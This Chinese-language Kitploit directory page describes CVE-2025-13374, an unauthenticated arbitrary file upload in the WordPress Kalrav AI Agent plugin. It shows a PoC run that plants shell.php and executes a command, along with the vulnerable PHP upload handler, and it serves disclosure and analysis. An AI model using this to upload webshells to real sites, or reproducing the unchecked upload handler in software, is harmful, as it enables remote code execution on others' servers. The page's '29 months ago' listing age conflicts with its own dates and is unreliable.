Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/d0n601/cve-2025-13374
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubd0n601/cve-2025-13374

CVE-2025-13374

Kalrav AI Agent <= 2.3.3 - 未经身份验证的任意文件上传(通过 kalrav_upload_file AJAX 操作)

查看仓库
29个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Kalrav AI Agent <= 2.3.3 - 通过 kalrav_upload_file AJAX 操作实现未认证任意文件上传

WordPress Kalrav AI Agent 插件(2.3.3 及更早版本)包含一个任意文件上传漏洞,允许未认证用户向服务器上传恶意 PHP 文件,可能导致远程代码执行。

TL;DR 漏洞利用

提供了一个 POC CVE-2025-13374.py,用于演示远程攻击者上传 shell.php 并执行远程代码:

root@kitploit:~
python3 ./CVE-2025-13374.py http://techcorp.cc
[+] Target: http://techcorp.cc
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/plugins/kalrav-ai-agent/uploads/1763247725-shell.php
[+] Command output:
www-data

技术描述

该漏洞存在于 /wp-admin/admin-ajax.php 端点中的 kalrav_upload_file() 函数中。上传功能缺少适当的文件验证、nonce 验证和权限检查。这使得未认证用户可以上传任意文件,包括可在服务器上执行的 PHP 文件。

攻击路径分析

Source:来自 $_FILES['file'] 的用户输入(第 978 行) Sink:move_uploaded_file($_FILES['file']['tmp_name'], $target_path)(第 982 行)

该漏洞产生的原因如下:

  1. 路由注册:上传端点通过 wp_ajax_nopriv_kalrav_upload_file 钩子(第 967 行)注册,允许未认证访问。
  2. 无认证:wp_ajax_nopriv_ 前缀使该函数可被未认证用户访问。
  3. 无 Nonce 验证:该函数缺少通过 nonce 验证实现的 CSRF 防护。
  4. 无权限检查:在允许文件上传之前未执行任何权限验证。
  5. 输入处理:来自 $_FILES['file'] 的用户可控文件数据未经验证即被直接处理。
  6. 文件处理:仅使用 basename() 进行基本的文件名清理:time() . '-' . basename($_FILES['file']['name'])(第 979 行),这只能防止目录遍历,但未验证文件扩展名。
  7. 文件存储:文件被保存到 wp-content/plugins/kalrav-ai-agent/uploads/。

漏洞代码位置

文件:kalrav-ai-agent.php 行:969-996

root@kitploit:~
add_action('wp_ajax_kalrav_upload_file', 'kalrav_upload_file');
add_action('wp_ajax_nopriv_kalrav_upload_file', 'kalrav_upload_file');  

function kalrav_upload_file()
{
    // Path to your plugin uploads folder
    $upload_dir = plugin_dir_path(__FILE__) . 'uploads/';

    if (!file_exists($upload_dir)) {
        mkdir($upload_dir, 0755, true);
    }

    if (!empty($_FILES['file']['name'])) { 
        $file_name = time() . '-' . basename($_FILES['file']['name']);  
        $target_path = $upload_dir . $file_name;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) { 
            wp_send_json_success([
                'message' => 'File uploaded successfully!',
                'file_path' => $target_path,
                'url' => plugins_url('uploads/' . $file_name, __FILE__)  
            ]);
        } else {
            wp_send_json_error(['message' => 'Failed to move uploaded file.']);
        }
    } else {
        wp_send_json_error(['message' => 'No file uploaded.']);
    }

    wp_die();
}
下载工具